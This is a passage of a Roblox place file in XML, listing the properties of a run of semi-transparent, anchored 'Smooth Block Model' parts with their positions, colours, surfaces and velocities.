				<Vector3 name="Velocity">
					<X>0.00100816239</X>
					<Y>0.0125161363</Y>
					<Z>0.00160139427</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1147">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002785</X>
					<Y>5.79964447</Y>
					<Z>16.0003071</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.000943481107</X>
					<Y>0.0036610621</Y>
					<Z>0.000526058604</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1148">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004349</X>
					<Y>0.999737144</Y>
					<Z>9.99952888</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00421870127</X>
					<Y>-0.00562367961</Y>
					<Z>-0.00307631958</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1149">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004883</X>
					<Y>0.999753356</Y>
					<Z>7.99982834</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00254233088</X>
					<Y>-0.00244695065</Y>
					<Z>0.00924733374</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1150">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.000576</X>
					<Y>2.19977808</Y>
					<Z>3.99985123</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00107927946</X>
					<Y>-0.00567978434</Y>
					<Z>0.0019946089</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1151">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004196</X>
					<Y>3.39965725</Y>
					<Z>9.99956703</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.000725197897</X>
					<Y>-0.00562368147</Y>
					<Z>-0.00296622887</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1152">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004883</X>
					<Y>3.3997159</Y>
					<Z>7.99982834</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00342058158</X>
					<Y>-0.00244695065</Y>
					<Z>0.00771361496</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1153">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005531</X>
					<Y>2.19977427</Y>
					<Z>6.00012589</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00124778412</X>
					<Y>0.00790498592</Y>
					<Z>0.00423760992</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1154">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004883</X>
					<Y>2.19975185</Y>
					<Z>7.99982834</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00298145623</X>
					<Y>-0.00244695065</Y>
					<Z>0.00848047435</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1155">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005417</X>
					<Y>0.999772429</Y>
					<Z>6.00012398</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00109746261</X>
					<Y>0.00790495705</Y>
					<Z>0.00195440999</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1156">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003433</X>
					<Y>8.19972229</Y>
					<Z>12.0001297</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00226433226</X>
					<Y>0.00606262684</Y>
					<Z>-0.0059755235</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1157">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002518</X>
					<Y>8.19970512</Y>
					<Z>16.0003433</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00178153056</X>
					<Y>0.00366108026</Y>
					<Z>-0.00172547624</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1158">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003052</X>
					<Y>8.19901943</Y>
					<Z>13.9998255</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.000821009511</X>
					<Y>0.0125161363</Y>
					<Z>0.00167912943</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1159">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004158</X>
					<Y>6.99967289</Y>
					<Z>9.99962234</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.0045150565</X>
					<Y>-0.00562368426</Y>
					<Z>-0.00280109281</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1160">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005417</X>
					<Y>6.99971008</Y>
					<Z>6.00009346</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
